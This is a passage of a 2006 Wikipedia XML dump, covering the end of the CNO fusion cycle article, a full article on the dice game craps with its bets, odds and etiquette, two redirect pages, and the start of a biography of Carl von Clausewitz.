&lt;tr&gt;&lt;td&gt;&lt;sup&gt;12&lt;/sup&gt;C + &lt;sup&gt;1&lt;/sup&gt;H &lt;/td&gt;&lt;td&gt;&amp;rarr;&lt;/td&gt;&lt;td&gt; &lt;sup&gt;13&lt;/sup&gt;N + [[gamma ray|&amp;gamma;]] &lt;/td&gt;&lt;td&gt;+1,95 [[MeV]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;sup&gt;13&lt;/sup&gt;N &lt;/td&gt;&lt;td&gt;&amp;rarr;&lt;/td&gt;&lt;td&gt; &lt;sup&gt;13&lt;/sup&gt;C + [[positron|e]]&lt;sup&gt;+&lt;/sup&gt; + [[neutrino|&amp;nu;&lt;sub&gt;e&lt;/sub&gt;]] &lt;/td&gt;&lt;td&gt;+1,37 MeV&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;sup&gt;13&lt;/sup&gt;C + &lt;sup&gt;1&lt;/sup&gt;H &lt;/td&gt;&lt;td&gt;&amp;rarr;&lt;/td&gt;&lt;td&gt; &lt;sup&gt;14&lt;/sup&gt;N + &amp;gamma;  &lt;/td&gt;&lt;td&gt;+7,54  MeV&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;sup&gt;14&lt;/sup&gt;N + &lt;sup&gt;1&lt;/sup&gt;H &lt;/td&gt;&lt;td&gt;&amp;rarr;&lt;/td&gt;&lt;td&gt; &lt;sup&gt;15&lt;/sup&gt;O + &amp;gamma;  &lt;/td&gt;&lt;td&gt;+7,35 MeV&lt;/td&gt;&lt;/tr&gt; 
&lt;tr&gt;&lt;td&gt;&lt;sup&gt;15&lt;/sup&gt;O                 &lt;/td&gt;&lt;td&gt;&amp;rarr;&lt;/td&gt;&lt;td&gt; &lt;sup&gt;15&lt;/sup&gt;N + e&lt;sup&gt;+&lt;/sup&gt; + &amp;nu;&lt;sub&gt;e&lt;/sub&gt; &lt;/td&gt;&lt;td&gt;+1,86 MeV&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;sup&gt;15&lt;/sup&gt;N + &lt;sup&gt;1&lt;/sup&gt;H &lt;/td&gt;&lt;td&gt;&amp;rarr;&lt;/td&gt;&lt;td&gt; &lt;sup&gt;12&lt;/sup&gt;C + &lt;sup&gt;4&lt;/sup&gt;He &lt;/td&gt;&lt;td&gt;+4,96 MeV&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;/dd&gt;&lt;/dl&gt;

The net result of the cycle is to [[nuclear fusion|fuse]] four [[proton]]s into an [[alpha rays|alpha particle]] plus two [[positron]]s and two [[neutrino]]s, releasing energy in the form of [[gamma ray]]s. The carbon, oxygen, and nitrogen nuclei serve as [[catalyst]]s and are regenerated.

In a minor branch of the reaction, occurring just 0.04% of the time, the final reaction shown above does not produce &lt;sup&gt;12&lt;/sup&gt;C and &lt;sup&gt;4&lt;/sup&gt;He, but instead produces &lt;sup&gt;16&lt;/sup&gt;O and a photon and continues as follows:

&lt;dl&gt;&lt;dd&gt;&lt;table border=&quot;0&quot;&gt;
&lt;tr&gt;&lt;td&gt;&lt;sup&gt;15&lt;/sup&gt;N + &lt;sup&gt;1&lt;/sup&gt;H &lt;/td&gt;&lt;td&gt;&amp;rarr;&lt;/td&gt;&lt;td&gt; &lt;sup&gt;16&lt;/sup&gt;O + &amp;gamma; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;sup&gt;16&lt;/sup&gt;O + &lt;sup&gt;1&lt;/sup&gt;H &lt;/td&gt;&lt;td&gt;&amp;rarr;&lt;/td&gt;&lt;td&gt; &lt;sup&gt;17&lt;/sup&gt;F + &amp;gamma; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;sup&gt;17&lt;/sup&gt;F&lt;/td&gt;&lt;td&gt;&amp;rarr;&lt;/td&gt;&lt;td&gt; &lt;sup&gt;17&lt;/sup&gt;O + e&lt;sup&gt;+&lt;/sup&gt; + &amp;nu;&lt;sub&gt;e&lt;/sub&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;sup&gt;17&lt;/sup&gt;O + &lt;sup&gt;1&lt;/sup&gt;H &lt;/td&gt;&lt;td&gt;&amp;rarr;&lt;/td&gt;&lt;td&gt; &lt;sup&gt;14&lt;/sup&gt;N + &lt;sup&gt;4&lt;/sup&gt;He &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;/dd&gt;&lt;/dl&gt;

Like the carbon, nitrogen, and oxygen involved in the main branch, the fluorine produced in the minor branch is merely catalytic and at steady state, does not accumulate in the star.

== See also ==
* [[Triple-alpha process]]
* [[Proton-proton chain]]

[[Category:Nuclear fusion]]

[[ar:دورة CNO]]
[[de:Bethe-Weizsäcker-Zyklus]]
[[fr:Cycle carbone-azote-oxygène]]
[[ko:CNO 순환]]
[[nl:Koolstof-stikstofcyclus]]
[[pl:Cykl węglowo-azotowo-tlenowy]]
[[ru:CNO-цикл]]</text>
    </revision>
  </page>
  <page>
    <title>Craps</title>
    <id>6062</id>
    <revision>
      <id>41343864</id>
      <timestamp>2006-02-26T19:00:13Z</timestamp>
      <contributor>
        <ip>68.56.215.213</ip>
      </contributor>
      <comment>/* Commonly observed etiquette */</comment>
      <text xml:space="preserve">{{cleanup-date|November 2005}}
[[Image:craps.jpg|right|350px]]
'''Craps''' (previously known as crabs) is a [[casino]] [[dice game]], which is especially popular in the USA.  Craps is a simplification of the Old English game [[Hazard (game)|hazard]].  Players wager money against the casino on the outcome of one roll, or of a series of rolls of two dice.  

Craps can also be played in less formal settings and is said to be popular among soldiers.  In such situations side bets are less frequent, with one or several participants covering or &quot;fading&quot; bets against the dice.

==The basic game==

The players take turns rolling the dice, and they all bet on the same roll, regardless of who is rolling.  The player rolling the dice is called the shooter.  The first roll of a new round is called the &quot;come-out roll.&quot; All bets are based on the total of both dice together, never on just one die.

Craps features a plethora of bets, but the most fundamental is the &quot;pass line&quot; wager, which nearly all players make. On a come-out roll, the pass line bettors win when either a 7 or 11 is rolled.  A 2, 3, or 12 loses, and is called &quot;craps&quot;. When any other number (4, 5, 6, 8, 9, or 10) is rolled it's called the '''point'''.  Once a point has been set, the pass-line bettor wins if the point is rolled again, and loses if a 7 is rolled first (&quot;seven-out&quot;).  After a seven-out the dice pass to the next shooter for a new come-out roll.

The opposite of a pass line bet is the &quot;don't pass&quot; bet, which wins on a come-out roll of 2 or 3, loses on 7 or 11, ties on 12, and goes to the point round when any other number is rolled.  In the point round the don't pass bet wins if a 7 is rolled and loses if the point is rolled.  People who bet on the don't pass are called &lt;i&gt;wrong bettors&lt;/i&gt;, while those who bet on the pass are called &lt;i&gt;right bettors&lt;/i&gt;, only because most craps players make the pass line bet instead of the don't pass bet.

A casino craps table is run by four casino employees: a '''boxman''' who guards the chips, supervises the dealers and handles coloring out players; two '''dealers''' who stand to either side of the boxman and collect and pay bets; and a '''stickman''' who stands directly across the table from the boxman and announces the results of each roll and then collects the dice with an elongated wooden stick.  He is also in charge of managing the bets made on the center of the table (hardways, yo, horn, etc).  For clarity, the number 11 is referred to as &quot;yo&quot; so as not to be confused with the number 7.  

A new shooter, who must bet the table minimum on either the '''pass line''' or the '''don't pass line''' to play, is presented five dice by the '''stickman''' and picks two.

The dealers will usually insist that the shooter roll with one hand and that the dice bounce off the wall surrounding the table. These requirements are meant to retard cheating attempts by players switching the dice or making a &quot;controlled shot.&quot; If a die leaves the table, the shooter will usually be asked to select another die from the remaining three but can request using the same die if it passes the boxman's inspection. This requirement is used in an effort to reduce cheating the game by players substituting [[loaded dice]] for the regulation dice.

==Types of craps bets==

The fundamental bet in craps is the '''pass line''' bet, in which one bets that the dice will '''pass''' (that is, roll the point number before rolling a 7).  The following discussion assumes that the shooter, as is usually the case, is betting on the pass line.

If a point is made, most casinos allow pass line bettors to take '''odds''' by placing from one to five times (and at some casinos, up to 100 times) the pass line bet behind the line.  This additional bet pays at the true [[odds]], 2-to-1 if 4 or 10 is the point, 3-to-2 if 5 or 9 is the point, and 6-to-5 if 6 or 8 is the point. While the house has a small (1.4%) advantage on pass line bets, the house has no advantage at all on odds bets.  Therefore, taking the maximum odds (which vary by casino) can lower the house percentage for any given bet down to as low as 0.5%.

Odds bets in craps are one of the few bets offered at a casino that are completely free of any house advantage.  Another such bet is the &quot;double-up&quot; option offered to the player in some forms of [[video poker]] after winning a hand.

Let's see why that is.  There are 36 possible permutations (ways to roll a pair of 6-sided dice):

           1-1              = 1 way to make a 2
         1-2 2-1            = 2 ways to make a 3
       1-3 2-2 3-1          = 3 ways to make a 4, true odds pays 2-1
     1-4 2-3 3-2 4-1        = 4 ways to make a 5, true odds pays 3-2
   1-5 2-4 3-3 4-2 5-1      = 5 ways to make a 6, true odds pays 6-5
 1-6 2-5 3-4 4-3 5-2 6-1    = 6 ways to make a 7
   2-6 3-5 4-4 5-3 6-2      = 5 ways to make an 8, true odds pays 6-5
     3-6 4-5 5-4 6-3        = 4 ways to make a 9, true odds pays 3-2
       4-6 5-5 6-4          = 3 ways to make a 10, true odds pays 2-1
         5-6 6-5            = 2 ways to make an 11
           6-6              = 1 way to make a 12

There are a total of 36 possible combinations.  So on the come-out roll there are 8 ways to win, 4 ways to lose and (36-12=) 24 ways to start a point.

The odds of making the point are the ratio of the number of ways to make a 7 to the number of ways to make the point.  For example, there are five ways to make a 6 or 8, so the odds of making a point of 6 or 8 are 6-5.  Therefore an odds bet of $5 on 6 or 8 pays out $6.

Most experienced craps players only make pass line and odds bets since the odds are much more favourable to the player than any other bets in craps, and in fact most casino games.

The rules for the '''come''' wagers are the same as for the '''pass''' line except that they can only be made after the come-out roll.  Effectively, they represent starting a new game using the same stream of numbers being generated by the existing (pass line) game.

Because of the '''come''' bet, if the shooter makes their point, a player can find themselves in the situation where they have a '''come''' bet with odds on it, and yet be rooting for the shooter to roll a 7 on their next come-out roll.  Because of this, it is usual that odds bets on '''come''' wagers are presumed to be '''not working'''.  That means that if the shooter rolls a 7 on the '''come-out''' roll, any players with active '''come''' bets lose their initial wager but will have their odds money returned to them, unless they tell the dealer that they want their odds '''working'''.  Conversely, if the shooter rolls a number that matches an active come bet, the original bet is paid off at even money and the odds money is returned to the player (unless they told the dealer that they wanted their odds working, in which case they are paid at the true odds).

There is also a '''don't come''' box in which one can place bets that the dice will not pass on the next sequence starting with the immediate roll as a virtual come-out roll; even the shooter may bet that he or she will miss out.  '''Don't pass''' and '''don't come''' bets are basically the opposite of '''pass''' and '''come''' bets; the player is betting that a 7 will be rolled before the point.  On the come-out roll a 7 or an 11 is a loss, whereas a 3 and either a 2 or a 12 is a win.  Casino craps layouts '''bar''' either 2 or 12 on the '''don't pass''' and '''don't come''' bets.  This means that if 2 is barred and the shooter rolls a 2 on the come-out roll, the wager is a stand off and the player's money is returned.

When betting against the shooter, the bettor must put up the long side of the bet.  Thus a '''don't pass''' bettor who bets $10 when the point is a 4 could place an odds bet of $20 behind the line.  If the shooter rolls a 7 before achieving their point, the bettor would receive $10 for the '''don't pass''' bet plus $10 for their odds bet.  Even though the house advantage on the '''don't pass''' and '''don't come''' bets are almost identical to the '''pass line''' and '''come''' bets, for most players the disadvantage of putting up the long side of the bet makes the '''don't pass''' line less desirable.  Additionally, many craps players consider '''don't pass''' and '''don't come''' bets to be in poor taste, or even &quot;taboo&quot;.


===Other types of bets===

One roll bets that the shooter will make an 11 (pays 15-1, actual odds 17-1); Bets that a shooter will make a '''hardway''' number such as 4-4 (before throwing a 7 or an 8 the '''easy way''' such as 6-2 or 5-3) (pays 9-1, actual odds 10-1).  Indeed you can bet on any combination of the dice on the next roll, this is called a '''hop''' bet, example ''hard 8 on the hop'' pays 31-1 (actual odds 35-1).

'''Craps''' is a bet that the shooter will roll 2, 3 or 12 on the next roll.  The true odds are 8-1 and the casino pays 7-1.

'''C &amp; E''' is actually two bets.  A player is betting one unit on ''craps'' and another unit on 11. One of the two bets will always lose, and the other will pay off as above.

'''Horn''' is a bet that involves betting on 1 unit each for 2, 3, 11 and 12 at the same time for the next roll.  Most players do a  &quot;Horn High&quot; bet which involves betting an additional $1 on one of the 4 choices, with the most frequent being a $5 &quot;horn high yo&quot; bet (which means $2 on the 11, $1 each on 2, 3 &amp; 12).   

The '''field''' bet is a wager that one of the numbers in the box (usually 2, 3, 4, 9,10,11,12) will be rolled on the next roll of the dice.  This bet pays even money, but the true odds are 4-5. Often 2 and/or 12 will pay 2-1.  Some casinos pay 3-1 on either the 2 or 12.

Most of the one roll bets, hard way bets, and other bets in the center of the layout are very costly/disadvantageous to the player, the house percentage on these bets can be 11.1% and up.  The best advice for prospective craps players is to bet either on the pass line or don't pass line with full odds.  More aggressive players can also bet on the Come/Don't Come with full odds which can make you or break you quickly, but in statistical terms is identical to the pass/don't pass bet.

Players can '''place''' or '''buy''' individual '''numbers''' (4,5,6,8,9,10) by placing their wager in the '''come''' area and telling the dealer, for example,  &quot;place the 6&quot; or &quot;buy the 8&quot;.  Both are bets that the number will be rolled before a 7.  Place bets are paid at reduced odds.  Buying the number results in a payoff at the true odds, but requires a 5% commission to be paid to the casino.

             Place            Buy
  Number     Payoff         Payoff
  ------     ------         ------
  6 or 8      7-6             6-5
  5 or 9      7-5             3-2
  4 or 10     9-5             2-1


The '''Big 6''' and '''Big 8''' wagers are considered by craps players as '''sucker bets''' because they pay even money while a player can bet on the same proposition (a 6 will be rolled before a 7) by placing the 6 or the 8, which pays 7-6 (true odds are 6-5).  No veteran craps player will ever touch those 2 bets.

===Examples of basic play===

* Example 1:
Let's say you put $10 on the pass line.  On your come-out roll you get an 11, so you win $10.  The game now starts over, with a new come-out roll.  You roll a 9, which becomes the point.  You decide to bet $10 on the come line before your next roll.  On your next roll you get a 6, which is now the point you need to hit in order to win your $10 come bet.  Your next roll is a 9, which is the point you needed to hit to win your pass line bet, meaning you just won another $10.  You bet $10 on the pass line again, and your new come-out roll is a 7.  You win $10 for your pass line bet, but lost the $10 you had previously bet on the come line.

* Example 2:
This time you decide to bet on the don't pass line.  You roll a 4, which becomes the point.  You bet $10 on the don't come line, and your next roll is a 7.  You lose your don't come bet, and win your don't pass bet, so you just broke even.  Since you just sevened-out, the player to your left becomes the new shooter.

==Etiquette==

Besides the rules of the actual game, certain unwritten rules of etiquette exist while playing craps and are expected to be followed. Many consider these guidelines as important as the actual rules themselves. New players should familiarize themselves with them before approaching a craps table.

=== Rules related to casino security ===

* Players are not supposed to handle the dice with more than one hand nor take the dice past the edge of the table.
* When throwing the dice, the player is expected to hit the farthest wall at the opposite end of the table. The dice may not be slid across the table and must be tossed. They may not be thrown higher than the eye level of the dealers.
* The dice must not land in the boxman's bank or on any of the dealer's working stacks of money.
* When either of the dice land on chips or markers not in the boxmans bank or the dealers working stacks, the number that would be on top if the object the die is leaning on were removed, is the number that is used to make the call.
* If a die hits a player or dealer and rolls back onto the table, the roll counts as long as the person being hit did not interfere with the die. 
* In most cases the shooter may &quot;set&quot; the dice to a particular configuration, but if they do, they must be quick about it so as not to delay the game. Some casinos have &quot;no setting&quot; rules, and the player must throw the dice as given to him.
* Do not try to place money in the dealer's hand or expect the dealers to hand you chips. Dealers are not allowed to touch the players at any time. Players are expected to place cash on the layout and announce &quot;change only&quot; or a specific bet and amount. The dealer will then place chips on the layout or in front of the players.

=== Commonly observed etiquette ===

* When offered the dice to shoot, a player may pass the dice to the next player without fear of offending anyone; however, keep in mind that at least one player must always be a &quot;shooter&quot; betting on either the pass line or don't pass line for the game to continue.
* Players are expected to tip the dealers, especially if they are winning. Most of the dealer's income is generated from tips. The most common way to tip is simply to toss chips onto the table and say &quot;for the boys&quot;. Another method is to place a bet next to your bet and call out &quot;dealers&quot;. A &quot;two-way&quot; bet is one that is half and half for the players and dealers.
* After the come-out roll, it is considered extremely rude to say the word &quot;seven&quot;, as that is considered bad luck. This is a guaranteed way of offending other players.  A common &quot;nickname&quot; for this number is &quot;Big Red&quot;.
* It is considered bad luck to change dice in the middle of a roll.
* Center bets are made by tossing chips to the center of the table and calling out the intended bet; the stickman will then place the chips correctly for you.
* It is not considered rude to correct a dealer that you feel has made an error. Mistakes happen and disputes are often resolved to the player's benefit, mainly in the interest of keeping their business.
* It is considered rude to &quot;late bet&quot;, or make wagers while the dice are no longer in the middle of the table.  While entirely permissible, excessive late betting will generally garner a warning.
* Food, drinks, and other items should remain off the chip rail.

== Odds ==

The rules vary slightly from one casino to another, but the [[expected value]] of most [[gambling|bet]]s is only slightly negative (the most favorable bets with the most favorable rules offer a house advantage of as little as 0.18%).  All bets have a negative expectation except for the &quot;free odds&quot; bet that the player is allowed to make after a point is established on a flat (line) bet (this bet has a long-term expected value of 0). Since there is no correlation between die rolls, there is no possible long-term winning strategy. While experienced [[blackjack]] players who learn to count cards can gain a small mathematical advantage over extended playing sessions by diligent study, there is no comparable strategy for craps.

Occasionally, players win several bets in a row; such players are said to be &quot;on a roll.&quot; Those who increase their bets during a winning series can rapidly win substantial sums. On the other hand, money can be lost back just as quickly, as there is no statistical likelihood of a &quot;hot streak&quot; continuing for any given duration.  To counter this, experienced players take full advantage of &quot;free odds&quot; -- bets on which there is zero house advantage.  Maximizing the size of your odds bet in relation to your line bet will minimize but never eliminate the house edge.  Many casinos have limitation on how large the odds bet can be in relation to the flat bet, with single, double, and five times odds common.  Some casinos offer 3-4-5 odds, referring to the maximum multiple of the line bet a player can place in odds for the points of 4 and 10, 5 and 9, and 6 and 8, respectively.  During promotional periods, a casino may even offer 100x odds bets, which renders the house edge to almost nothing but dramatically increases volatility. [[Horseshoe Casino]] founder [[Benny Binion]] once quipped that if every player took the 100x odds, the house &quot;wouldn't be able to keep the lights on,&quot; referring to the overhead required to run casino games.

The only casino currently in Las Vegas to offer 100x odds is the [[Casino_Royale_Las_Vegas|Casino Royale]] located next to [[Harrah's]] on the strip.  The [[Stratosphere]] offers 10x odds and most of the other casinos such as MGM and Bellagio offer 3x4x5.  Some casinos such as the Riviera, Orleans and Gold Coast offer 2x odds which is considered an anathema to craps players, in equal footing with 6:5 payouts on single-deck blackjack.  Most downtown casinos offer 5x ([[Binions]]) or 10x odds ([[Plaza]] and [[Main Street Station]], with the [[Golden Nugget]] offering the unusual 6x8x10 odds), while a handful of downtown casinos offer the horrible 2x odds (Sam Boyd's Fremont).

== Systems ==

No betting system can consistently beat casino games of pure chance such as craps, but that does not stop hopeful gamblers in believing in them. One of the best known systems is the [[Martingale]] in which the player starts by betting $1 and doubles his bet whenever he loses. Upon winning, he starts over at $1. The idea is to realize a net win of $1 after every eventual win.  This system fails because the player will either run out of money after having to double his bet several times in a row after a streak of losing bets, or he will be unable to bet the amount dictated by the system because it would exceed the maximum bet allowed by the casino.

Other systems depend on the [[gambler's fallacy]], which in craps terms is the belief that past die rolls influence the probabilities of future die rolls. For example, the gambler's fallacy indicates that a craps player should bet on 11 if an 11 has not appeared in the last 20 rolls. In reality, each roll of the dice is an [[statistical independence|independent]] event, so the probability of rolling an 11 is exactly 1/18 on every roll, even if 11 has not come up in the last 100 rolls.

The parity hedge system is a [[hoax]] promulgated by [http://www.quatloos.com Quatloos]. Despite the fact that no such system exists (indeed, it is a mathematical impossibility), several gambling-related web sites have retold the 'parity hedge' story without attribution.

== Dice Setting ==

Another approach is to &quot;set&quot; the dice, by throwing them in such a way that one or both will be more likely to show certain numbers.  Unlike other systems, this one is not mathematically absurd, because if it were possible to alter the probabilities of each outcome, then winning systems could be devised.  Nevertheless, the casinos take steps to prevent this.  The dice are supposed to hit the back wall of the table, which disrupts the controlled spin.  Some people offer to teach dice-setting skills, for a substantial fee, but there are no independent verifications that such methods can be successfully applied in a real casino. [[Frank Scoblete]] and [[Stanford Wong]], authors of books that feature dice control techniques, believe that it is possible to alter the odds in the player's favor by dice control.

== Dice Control ==

In fact, there is a small but dedicated community of controlled shooters that maintain records and claim proof of dice influencing in casino conditions. The concept of &quot;controlled shooting&quot; however goes far beyond &quot;setting the dice&quot;. It purports to involve limiting the &quot;[[degrees of freedom]]&quot; in the [[Rigid body dynamics]] of the dice. A mechanical engineer, under the pseudonym &quot;SharpShooter&quot;, wrote a book on the subject called &quot;Get The Edge At Craps: How to Control the Dice&quot;, which claims to define the math and science behind dice control.

The concept of precision shooting claims to elevate craps from a  random game of chance, to a sport, not unlike golf, darts, or pool. Precision shooting is not easy, and it requires daily practice, discipline, and focus.

Nevertheless, the amount of influence needed to sway the advantage in favor of the player is quite small - in a normal random distribution there will normally be seven 7s in a total of 42 rolls. If one can influence the dice such that there is only six 7s in a total of 42 rolls, that player will have a slight advantage over the house.

== Miscellaneous ==

Craps is such a popular game, its terminology is often found as colloquialisms in our language. The terms &quot;on a roll&quot;, &quot;crapshoot&quot;, &quot;no dice&quot;, &quot;crap out&quot;, &quot;Snake Eyes&quot; and &quot;do it the hard way&quot; all trace their origins to the game of craps.

As casinos restrict players' options in blackjack, craps is increasing in popularity, as it offers the best odds of all standard casino games based on pure chance.

The plot of the musical ''[[Guys and Dolls]]'' revolves around some illegal games of craps, which &quot;float&quot; from location to location.

==See also==
* [[Dice]]
* [[Illusion of control]]
* [[Snake eyes (slang)]]
* [[Box cars (slang)]]
* [[Probability]]

==External links==
*[http://dmoz.org/Games/Gambling/Craps/ DMOZ: Craps]
*[http://wizardofodds.com/craps The Wizard of Odds guide to craps] --   Craps as explained by a gambling math expert.
*[http://www.nextshooter.com/ Next Shooter] --   Craps as explained by a Las Vegas craps dealer.
*[http://www.dicesetter.com/ Dicesetter.com] -- devoted to dice control
*[http://www.DancesWithDice.com DancesWithDice.com] -- Exploring the Art and Science of dice influencing
*[http://www.crapsmath.com A Craps Tutorial -- Odds, Probability, and House Edge]
*[http://www.craps.cd/online_craps_articles.html Online Craps resources and guides]
*[http://www.onlinecasinoconditions.com/craps-rules.html Craps Rules] -- A good starting point from Online Casino Conditions.
*[http://www.faqs.org/faqs/gambling-faq/craps/ rec.gambling.craps FAQ]

[[Category:Dice games]]
[[de:Craps]]
[[eo:Krapoj]]
[[fi:Craps]]
[[ja:クラップス]]
[[hu:Craps]]</text>
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  </page>
  <page>
    <title>Cartoonists</title>
    <id>6063</id>
    <revision>
      <id>15904228</id>
      <timestamp>2002-07-30T04:19:03Z</timestamp>
      <contributor>
        <username>Toby Bartels</username>
        <id>1078</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Cartoonist]]</text>
    </revision>
  </page>
  <page>
    <title>Cosine</title>
    <id>6065</id>
    <revision>
      <id>15904230</id>
      <timestamp>2002-05-03T20:25:29Z</timestamp>
      <contributor>
        <username>AxelBoldt</username>
        <id>2</id>
      </contributor>
      <comment>Redirecting to [[trigonometric function]] until we have specific information for cosine</comment>
      <text xml:space="preserve">#REDIRECT [[trigonometric function]]
</text>
    </revision>
  </page>
  <page>
    <title>Carl von Clausewitz</title>
    <id>6066</id>
    <revision>
      <id>42064365</id>
      <timestamp>2006-03-03T15:44:01Z</timestamp>
      <contributor>
        <username>PatrickBeaumont</username>
        <id>404152</id>
      </contributor>
      <comment>/* Influence */</comment>
      <text xml:space="preserve">[[Image:CarlvonClausewitz.jpeg|thumb|right|A young Clausewitz]]
'''Carl Philipp Gottfried von Clausewitz''' ([[June 1]], [[1780]] - [[November 16]], [[1831]]) was a [[Prussia]]n general and influential [[military]] theorist. He is most famous for his military treatise ''[[Vom Kriege]]'', translated into [[English language|English]] as ''[[On War]]''.

==Life and Times of Carl von Clausewitz==
Carl von Clauswitz was born in [[Magdeburg]], [[Prussia]] in [[1780]].  Clausewitz's father was an officer in the [[Prussian Army]]; Carl entered the Prussian military service at the age of twelve years, eventually attaining the rank of [[Major General]]. 

He served in the [[Rhine Campaign]]s ([[1793]]–[[1794]]) when the Prussian army invaded France following the [[French Revolution]] in an attempt to restore the monarchy, and later served in the [[Napoleonic Wars]] from [[1806]] to [[1815]].  Clausewitz entered the ''[[Kriegsakademie]]'' in Berlin (also cited variously as &quot;[[The German War School]],&quot; the &quot;[[Military Academy in Berlin]],&quot; and the &quot;[[Prussian Military Academy]]&quot;) in [[1801]] (age 21 years), studied the [[philosopher]] [[Kant]] and won the regard of General [[Gerhard von Scharnhorst]], the future first [[Chief of Staff]] of the new Prussian Army (appointed [[1809]]).  Clausewitz, along with [[Hermann von Boyen]] (b [[1771]], d [[1848]]) and [[Karl von Grolman]] (b [[1777]], d [[1843]]), were Scharnhorst's primary allies in his later efforts to reform the Prussian army, between [[1807]] and [[1814]].

Clausewitz, serving as [[Aide-de-Camp]] to Prince August, was captured during the [[Jena Campaign]] in October of [[1806]] when Napoleon invaded Prussia and defeated the massed [[Prussian-Saxon]] army commanded by [[Charles William Ferdinand|Karl Wilhelm Ferdinand]], [[Duke of Brunswick]] (who was mortally wounded), in twin battles at [[Jena]] and [[Auerstadt]] on October 14, 1806.  Carl von Clausewitz, at the age of twenty-six years, became one of the 25,000 prisoners captured that day as the Prussian army distingrated.  Both Carl von Clausewitz and [[Hermann von Boyen]] served during the Jena Campaign.

Clausewitz was held prisoner in France for two years (1806-1808) and upon release, subsequently served in the Russian Army from [[1812]] to [[1813]] during the [[Napoleon's invasion of Russia|Moscow Campaign]].  In the service of the [[Russian Empire]], Clausewitz helped negotiate the [[Convention of Tauroggen]] ([[1812]]), which prepared the way for the coalition of Prussia, Russia, and [[United Kingdom of Great Britain and Ireland|United Kingdom]] against [[Napoleon I]] of France and his allies. 

He later re-entered the [[Prussian]] army, and was appointed [[Chief of Staff]] of [[Johann von Thielmann]]'s Corps, and served at the [[Battle of Ligny]] and [[Battle of Wavre]] during the [[Waterloo Campaign]] in [[1815]].  The Prussians were defeated on that day at [[Ligny]] (south of [[Mt. St. Jean|Mount St. Jean]] and the village of [[Waterloo, Belgium|Waterloo]]) by an army led personally by Napoleon, but Napoleon's subsequent failure to destroy the Prussian forces led to his eventual defeat days later at the [[Battle of Waterloo]] when the Prussian forces arrived on his right flank late in the afternoon and joined the Anglo-Dutch forces pressing Napoleon's front.

Carl von Clausewitz was appointed director of the ''[[Kriegsakademie]]'' in [[1818]] and served until [[1830]].  He married [[Countess]] [[Marie von Brühl]] and subsequently died in a [[cholera]] outbreak in [[1831]].  His ''[[magnum opus]]'' on the [[Philosophy of War]] was written during this period, and was published posthumously by his widow in 1832.

==Distinguishing Military Philosophers from Military Systems==

It is of first importance to distinguish what a military philospher ''is'' as opposed to a military commander, such as Napoleon.  [[Napoleon]], Clausewitz' contemporary and the arch-enemy of the age, was a military commander, and one of the history's greatest and most storied [[conqueror]]s.  Napoleon clearly was a person of legendary intellect, personal drive, and capabilities, but Napoleon never undertook to write a detailed systematic [[treatise]] of his campaigns or military theories.  It is very easy to find hundreds of quotes by Napoleon or attributed to Napoleon (who has to be one of the most quoted and quotable people in history), but these quotes are largely taken from letters, military dispatches, diaries, campaign reports, and eyewitness accounts, and are often taken out of context.  What we know of Napoleon's theories and methods come from study of his letters and his actions, the historical records of his campaigns and from the treatises of [[Antoine Henri Jomini]] who briefly served as a junior officer in Napoleon's armies under Marshal [[Michel Ney]].  As has been noted by other authors, Napoleon had little interest in instructing his commanders to be his equals in military thought (in [[1813]] Napoleon commented in response to Jomini's ''[[Treatise on Great Military Operations]]'' that &quot;It teaches my whole system of war to my enemies!&quot;).  In the end, as many have commented, that was his undoing as from [[1811]] to [[1813]] his allied enemies avoided battle with Napoleon directly and concentrated on eliminating forces commanded by his less competent Marshals and Generals.

Other commanders before Napoleon and Clausewitz, wrote treatises on various military subjects of interest to them.  For example, Marshal [[Sebastien le Prestre de Vauban]], published four treatises that revolutionized modern fortifications, and Marshal [[Maurice de Saxe]] whose published [[memoirs]]-[[treatise]], [[Mes Reveries]] (published [[posthumously]] in [[1756]]), was the intellectual forerunner to &quot;Napoleonic tactics&quot; or &quot;[[Grand Tactics]].&quot;  Both served in the armies of [[Louis XIV of France|Louis XIV]], the &quot;Sun&quot; King of [[France]] in the age immediately preceding the Napoleonic Era.  But none undertook a great philosophical examination of war on the scale of Clauswitz and [[Tolstoy]], who were both inspired by the events of the [[Napoleonic Era]] in which they lived.

Carl von Clauswitz was also a man of great intellect, and did participate in actual military campaigns, but without the drive to make himself emperor of his nation and attempt to conquer the world.  Instead, he was a person of thought and an instructor of the next generations at the ''[[Kriegsakademie]]'', and he was interested in the examination of war.  He undertook to write a careful philosophical and systematic examination of war in all aspects, as he saw it and taught it, and the result was his principle work, [[On War]], the West's premier work on the [[Philosophy of War]].  His examination was so careful and considered that it was only partially completed before his death.

Jomini was a direct contemporary rival of Clausewitz in post Napoleonic interpretation of Napoleonic warfare.  Jomini's treatises, consisting of geometric diagrams and formula like statements, were initally more popular than Clausewitz' philosophies, but as time has shown, Jomini's works have faded into history and are now nearly forgotten while Clausewitz continues to be applicable (even in the nuclear age) to stir controversy and debate.  As [[Lynn Montross]] indicated in [[War Through the Ages]], &quot;This outcome...may be explained by the fact the Jomini produced a system of war, Clausewitz a philosophy.  The one has been outdated by new weapons, the other still influences the strategy behind those weapons.&quot;

It is an arguable point whether one could equate Clauswitz with the ancient [[China|Chinese]] war philosopher and instructor, [[Sun Tzu]] or whether one could equate [[On War]] with [[The Art of War]], but the two together are generally acknowledged as being the greatest military philosophers in history and the greatest written works of military philosophy.  What Clauswitz accomplished was the introduction of systematic philosophical thought into Western military instruction and operational planning.

==Principal ideas==
''Vom Kriege'' (''[[On War]]'') is a compilation of his observations following the Napoleonic Wars.

Clausewitz used a [[dialectical]] method to construct his argument, leading to frequent modern misinterpretation.  As described by Christopher Bassford, professor of strategy at the [[National War College]]:
